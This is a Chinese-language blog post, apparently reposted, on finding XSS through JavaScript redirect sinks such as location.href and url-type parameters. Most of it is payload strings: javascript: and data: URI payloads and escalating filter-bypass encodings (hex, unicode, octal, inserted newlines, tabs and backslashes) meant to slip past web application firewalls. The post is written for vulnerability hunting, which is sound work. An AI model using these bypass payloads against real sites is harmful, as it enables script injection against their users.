漏洞挖掘技巧之利用javascript:


  好久沒更新博客了,更新一波。  

  場景:    

  window.location.href=””
  location=””
  location.href=””
  window.location.*

  

常見地點:任何二次跳轉處
可能存在問題的參數:*_url ,url_*,url

危害:跳轉和xss

    

首選xss
最簡單的:
偽協議 ,以location為例子
location=”javascript:alert(1) ”
location=”javascript:alert(1) ”

利用偽協議2:
location=”data:html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg”
base64編碼可以不要==

漏洞挖掘發現每次都過濾javascript:(這里不探討過濾了alert怎么繞過。)
一系列繞過思路:
\x JS十六進制
javascript: -> \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a
location="\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)"

 

 

 

\u Unicode編碼
javascript:-> \u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a

 

 

 

如果waf攔截了\x \u怎么繞過?
方法:換行攻擊
\+換行[%0a]
java\%0ascript

 

 

%0a可以替換成%0d或者是%09

如果waf攔截了\x \u ,並且還攔截%0x怎么繞過?

方法: \r \n \t
隨機插入
location="j\rava\nscript:\talert(1)"

 

多加幾個\r\n\t沒關系
location="j\rava\nscri\np\rt:\talert(1)"

 

如果waf攔截\x \u %0x,並且還過濾\r\n\t怎么繞過?
方法1:JS 八進制
javascript: -> \152\141\166\141\163\143\162\151\160\164\072
利用:
location="\152\141\166\141\163\143\162\151\160\164\072alert(1)"

 

 

 

方法2:萬能的斜杠\
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
location="\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)"

 

 

少加點\也是可以的

 

 

 

排版有點差。。。我從doc文檔復制過來的,將就看吧。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM